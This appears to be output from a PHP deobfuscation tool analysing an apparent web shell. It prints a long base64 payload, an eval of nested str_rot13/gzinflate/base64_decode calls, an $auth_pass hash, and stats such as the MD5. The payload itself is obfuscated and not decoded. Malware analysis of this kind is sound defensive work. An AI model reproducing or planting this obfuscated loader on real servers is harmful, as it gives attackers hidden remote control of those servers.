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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($pastiganteng))))));

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

$auth_pass dacffae94acdb77294f2033ce4f23ead
$pastiganteng 7X37W9u40vDP3efZ/07NZRr4CrlPW3VuN9CEewgBwqXtl8dpeocQHNtWWZzd..

Stats

MD5 afcbc81a64bb0ff93e0f18afbf290978
Eval Count 1
Decode Time 983 ms